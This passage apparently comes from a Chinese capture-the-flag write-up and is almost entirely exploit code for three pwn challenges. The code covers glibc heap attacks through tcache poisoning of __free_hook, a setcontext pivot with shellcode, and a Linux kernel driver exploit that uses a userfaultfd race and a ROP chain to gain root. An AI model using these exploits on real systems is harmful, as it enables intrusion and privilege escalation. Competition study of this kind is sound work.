p.sendlineafter(b"index: ", str(idx).encode()) def append(idx:int, size:int, data): p.sendlineafter(b">> ", b"4") p.sendlineafter(b"index: ", str(idx).encode()) p.sendlineafter(b"size: ", str(size).encode()) p.sendafter(b"data: ", data) def show(idx:int): p.sendlineafter(b">> ", b"5") p.sendlineafter(b"index: ", str(idx).encode()) # 0x0000555555554000 # header: 0x0000555555554000+0x4058 def exp(): #gdb.attach(p, "b *0x0000555555554000+0x18af\nc\n") # leak libc add() #0 edit(0, 0x420, 0) add() #1 split edit(0, 0, 0) edit(0, 0x420, 0) show(0) p.recvuntil(b"data: ") libc_leak = u64(p.recv(6).ljust(8, b"\x00")) libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"] system = libc_base + libc.symbols[b"system"] free_hook = libc_base + libc.symbols[b"__free_hook"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("system:", hex(system)) print("free_hook:", hex(free_hook)) # attack tcache ## get add() #2 edit(2, 0x18, 0x17) add() #3 edit(3, 0x20, 0) add() #4 edit(4, 0x20, 0) add() #5 edit(5, 0x20, 0) ## free edit(5, 0, 0) edit(4, 0, 0) edit(3, 0, 0) payload = b"a"+p64(0x21) payload += p64(free_hook) + p32(0) + p32(0x8) + b"\n" append(2, -2147483408, payload) append(3, 0x8, p64(system)) print("free_hook:", hex(free_hook)) edit(1, 0x8, 0) append(1, 0x8, b"/bin/sh\n") edit(1, 0, 0) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp() babypwn题出得有点莫名其妙，题目从堆块头遍历扫描\x11字符替换成\x00，遇到第一个\x00停止，造成了很明显的off-by-null，因此可以unlink构造overlap攻击tcache。然后往__free_hook写setcontext+53，借助setcontext+53gadget调用mprotect给堆rwx后执行orw shellcodefrom pwn import * #p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"}) p = remote("39.105.130.158", 8888) libc = ELF("./libc.so.6") context.arch = "amd64" context.log_level = "debug" def unshiftleft(n , shift , mask = 0xffffffff): res = n temp = len(bin(n)[2:]) // shift + 1 for _ in range(temp): res = n ^ ((res << shift) & mask) return res def unshiftright(n , shift , mask = 0xffffffff): res = n temp = len(bin(n)[2:]) // shift + 1 for _ in range(temp): res = n ^ ((res >> shift) & mask) return res def dec(c): for i in range(2): c = unshiftleft(c , 13) c = unshiftright(c ,17) c = unshiftleft(c ,5) return c def add(size:int): p.sendlineafter(b">>> \n", b"1") p.sendlineafter(b"size:\n", str(size).encode()) def delete(idx:int): p.sendlineafter(b">>> \n", b"2") p.sendlineafter(b"index:\n", str(idx).encode()) def edit(idx:int, content): p.sendlineafter(b">>> \n", b"3") p.sendlineafter(b"index:\n", str(idx).encode()) p.sendafter(b"content:\n", content) def show(idx:int): p.sendlineafter(b">>> \n", b"4") p.sendlineafter(b"index:\n", str(idx).encode()) def exp(): # leak libc for i in range(8): add(0x80) # 0-7 add(0x20) # 8 split for i in range(9,9+7): add(0xf8) # 9-16 for i in range(8): delete(i) # del 0-7 add(0x20) # 0 show(0) libc_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16) libc_leak_low = dec(libc_leak_low) & 0xffffffff libc_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16) libc_leak_high = dec(libc_leak_high) & 0xffffffff libc_leak = ((libc_leak_high<<32) + libc_leak_low) & 0xffffffffffff libc_base = libc_leak - 0x3ebd20 free_hook = libc_base + libc.symbols[b"__free_hook"] setcontext = libc_base + libc.symbols[b"setcontext"] mprotect = libc_base + libc.symbols[b"mprotect"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("free_hook:", hex(free_hook)) print("setcontext:", hex(setcontext)) # leak heap add(0x80) # 1 show(1) heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16) heap_leak_low = dec(heap_leak_low) & 0xffffffff heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16) heap_leak_high = dec(heap_leak_high) & 0xffffffff heap_leak = ((heap_leak_high<<32) + heap_leak_low) & 0xffffffffffff heap_base = heap_leak - 0x1240 + 0x2c0 # modify print("heap_leak:", hex(heap_leak)) print("heap_base:", hex(heap_base)) # build overlapping add(0xf8) #2 chain add(0xf8) #3 chain add(0xf8) #4 add(0xf8) #5 add(0x100) #6 add(0x90) #7 split ## fill tcache for i in range(9,9+7): delete(i) # del 9-16 edit(5, b"a"*0xf8) edit(5, b"a"*0xf0+p64(0x200)) edit(6, b"a"*0xf0+p64(0)+p64(0x21)) edit(7, p64(0)+p64(0x91)) target = heap_base+0x1d10-0x2c0 # modify edit(4, b"\x00"*0xf0+p64(0x100)) edit(4, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target)) delete(6) # link to __free_hook add(0xf8) # 6 remove from tcache add(0x1f8) # 9 delete(5) # del 5 edit(9, b"\x00"*0xf8+p64(0x101)+p64(free_hook)) add(0xf8) # 5 remote first of tcache add(0xf8) # 10 free_hook edit(10, p64(setcontext+53)) print("free_hook:", hex(free_hook)) # attack setcontext+53 #gdb.attach(p, "b free\nc\n") prepare = heap_base + 0x20d0 - 0x2c0 # modify add(0x200) # 11 prepare frame = SigreturnFrame() frame.rip = mprotect frame.rdi = heap_base frame.rsi = 0x20000 frame.rdx = 7 frame.rsp = prepare+0x100 payload = flat(list(frame.values())).ljust(0x100, b"\x00") payload += p64(prepare+0x110) payload = payload.ljust(0x110, b"\x90") shellcode = ''' push 0; //push 0x67616c66; mov rax, 0x7478742e67616c66; push rax; mov rdi, rsp; mov rsi, 0; mov rax, 2; syscall; mov rdi, rax; mov rsi, rsp; mov rdx, 0xff; mov rax, 0; syscall; mov rdi, 1; mov rsi, rsp; mov rdx, 0xff; mov rax, 1; syscall; ''' payload += asm(shellcode) print("length:", hex(len(payload))) edit(11, payload) delete(11) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp() notebookkoo师傅和sad师傅打的，我在旁边加油hhhexp.c#include <sys/xattr.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/userfaultfd.h> #include <sys/types.h> #include <stdio.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <poll.h> #include <stdint.h> int fd; char *addr; /* Start of region handled by userfaultfd */ static int page_size; //tty_struct结构体的大小 #define TTY_STRUCT_SIZE 0x2E0 //如果我们申请0x2E0的空间，slab分配的堆实际大小为0x400 #define REAL_HEAP_SIZE 0x400 //二进制文件的静态基址 #define RAW_KERNEL_BASE 0xffffffff81000000 int ptmx_fds[0x1000]; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret size_t MOV_CR4_RAX = 0xffffffff8100252b; //0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret; size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0; //swapgs ;pop rbp ; ret size_t SWAPGS = 0xffffffff810637d4; //0xffffffff810338bb: iretq; pop rbp; ret; size_t IRETQ = 0xffffffff810338bb; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929+22; //commit_creds函数 size_t COMMIT_CREDS = 0xffffffff810a9b40; // prepare_kernel_cred size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0; //push rax ; pop rsp ; ret做栈迁移用 size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a; size_t SUB_RSP_RET = 0xffffffff8100354f; size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1; size_t POP_RDI = 0xffffffff81007115; size_t POP_RSP = 0xffffffff810bc110; size_t POP_RAX = 0xffffffff81540d04; size_t MSLEEP = 0xffffffff81102360; size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833; void init_addr(size_t kernel_base) { MOV_CR4_RAX+=kernel_base - RAW_KERNEL_BASE; //0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret; MOV_CR4_RDI_POP_RBP+=kernel_base - RAW_KERNEL_BASE; //swapgs ;pop rbp ; ret SWAPGS += kernel_base - RAW_KERNEL_BASE; //0xffffffff810338bb: iretq; pop rbp; ret; IRETQ += kernel_base - RAW_KERNEL_BASE; swapgs_restore_regs_and_return_to_usermode+=kernel_base - RAW_KERNEL_BASE; //commit_creds函数 COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE; // prepare_kernel_cred PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE; //push rax ; pop rsp ; ret做栈迁移用 PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE; SUB_RSP_RET += kernel_base - RAW_KERNEL_BASE; PUSH_RDI_POP_RSP_POP_RET += kernel_base - RAW_KERNEL_BASE; POP_RDI+= kernel_base - RAW_KERNEL_BASE; POP_RSP+= kernel_base - RAW_KERNEL_BASE; POP_RAX+= kernel_base - RAW_KERNEL_BASE; MSLEEP += kernel_base - RAW_KERNEL_BASE; MOV_RDI_RAX_POP_RET += kernel_base - RAW_KERNEL_BASE; } void getRoot() { //函数指针 void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED; void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS; //commit_creds(prepare_kernel_cred(0)) (*cc)((*pkc)(0)); } void getShell() { printf("%d\n",getuid()); if (getuid() == 0) { printf("[+]Rooted!!\n"); system("/bin/sh"); } else { printf("[+]Root Fail!!\n"); } } size_t user_cs,user_ss,user_flags,user_sp; /*保存用户态的寄存器到变量里*/ void saveUserState() { __asm__("mov %cs,user_cs;" "mov %ss,user_ss;" "mov %rsp,user_sp;" "pushf;" "pop user_flags;" ); puts("user states have been saved!!"); } struct ARG{ long long idx; long long size; void * buf; }; long long gift(int fd,int offset){ char buf[256]; struct ARG arg = {0,0,buf}; long long res=ioctl(fd, 100, &arg); printf("gift return %d\n",res); return *( long long*)(buf+offset*0x10); } long long add(int fd,long long idx,long long size,void* buf){ struct ARG arg = {idx,size,buf}; long long res=ioctl(fd, 0x100, &arg); printf("add return %d\n",res); return res; } long long edit(int fd,long long idx,long long size,void* buf){ struct ARG arg = {idx,size,buf}; long long res=ioctl(fd, 0x300, &arg); printf("edit return %d\n",res); return res; } long long del(int fd,long long idx){ printf("in delete\n"); struct ARG arg = {idx,0,0}; long long res=ioctl(fd, 0x200, &arg); return res; } static void * fault_handler_thread(void *arg) { static struct uffd_msg msg; /* Data read from userfaultfd */ static int fault_cnt = 0; /* Number of faults so far handled */ long uffd; /* userfaultfd file descriptor */ static char *page = NULL; struct uffdio_copy uffdio_copy; ssize_t nread; uffd = (long) arg; /* Create a page that will be copied into the faulting region */ if (page == NULL) { page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) puts("mmap"); } /* Loop, handling incoming events on the userfaultfd file descriptor */ for (;;) { /* See what poll() tells us about the userfaultfd */ struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) puts("poll"); /* Read an event from the userfaultfd */ nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) { printf("EOF on userfaultfd!\n"); exit(EXIT_FAILURE); } if (nread == -1) puts("read"); /* We expect only one kind of event; verify that assumption */ if (msg.event != UFFD_EVENT_PAGEFAULT) { fprintf(stderr, "Unexpected event on userfaultfd\n"); exit(EXIT_FAILURE); } /* Copy the page pointed to by 'page' into the faulting region. Vary the contents that are copied in, so that it is more obvious that each fault is handled separately. */ if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) { printf("write fault\n"); sleep(1); } else { printf("read fault\n"); char a[10]="sad"; edit(fd,0,0x600,a); edit(fd,0,0x400,a); fault_cnt++; uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) printf("ioctl-UFFDIO_COPY"); } /* while(1){ printf("check uid %d\n",geteuid()); sleep(1); } */ } } int main(){ saveUserState(); long uffd; /* userfaultfd file descriptor */ unsigned long len; /* Length of region handled by userfaultfd */ pthread_t thr; /* ID of thread that handles page faults */ struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; page_size = sysconf(_SC_PAGE_SIZE); len = 4 * page_size; /* Create and enable userfaultfd object */ uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) puts("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) puts("ioctl-UFFDIO_API"); /* Create a private anonymous mapping. The memory will be demand-zero paged--that is, not yet allocated. When we actually touch the memory, it will be allocated via the userfaultfd. */ addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) puts("mmap"); /* Register the memory range of the mapping we just created for handling by the userfaultfd object. In mode, we request to track missing pages (i.e., pages that have not yet been faulted in). */ uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) puts("ioctl-UFFDIO_REGISTER"); /* Create a thread that will process the userfaultfd events */ s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd); if (s != 0) { errno = s; puts("pthread_create"); } fd = open("/dev/notebook", 2); char a[10]="sadaaaaa"; add(fd,0,0x20,a); //add(fd,0,0,addr); edit(fd,0,0x3ff,a); edit(fd,0,0x400,addr); for(int i =0 ;i<0x100;i++) ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY); size_t fake_tty_struct[128]; size_t fake_tty_operations[128]; printf("read size:%d\n",read(fd,fake_tty_struct,0)); long long kernel_addr = *(unsigned long long *)(fake_tty_struct+3)-0xe8e440; init_addr(kernel_addr); add(fd,1,0x20,a); edit(fd,1,0x20*8,a); add(fd,2,0x50,a); long long tty_operation_addr = gift(fd,2); long long heap_addr = gift(fd,1); size_t rop_addr = heap_addr; fake_tty_struct[3] = tty_operation_addr; fake_tty_struct[1] = SUB_RSP_RET; fake_tty_struct[0x14] = POP_RSP; fake_tty_struct[0x15] = rop_addr; //fake_tty_struct[2] = rop_addr; write(fd,fake_tty_struct,0); printf("kernel heap addr: %p\n",heap_addr); printf("kernel kernel addr: %p\n",kernel_addr); //对tty_fd执行write，将触发这个gadget进行第一次转转移 fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET; //栈再一次转移到rop数组里 size_t rop[0x20]; int i = 0; /*rop同时关闭了smap、semp*/ rop[i++] = POP_RDI; rop[i++] = 0; rop[i++] = PREPARE_KERNEL_CRED; rop[i++] = MOV_RDI_RAX_POP_RET; rop[i++] = 0; rop[i++] = COMMIT_CREDS; rop[i++] = swapgs_restore_regs_and_return_to_usermode; rop[i++] = 0; rop[i++] = 0; rop[i++] = (size_t)&getShell; rop[i++] = user_cs; rop[i++] = user_flags; rop[i++] = user_sp; rop[i++] = user_ss; printf("\ngetshell: %llx\n",(size_t)&getShell); write(fd,rop,1); write(fd,fake_tty_operations,2); //getchar(); //write(fd,fake_tty_operations,0); for(int i=0;i<0x100;i++){ write(ptmx_fds[i],a,0x10); } return 0; }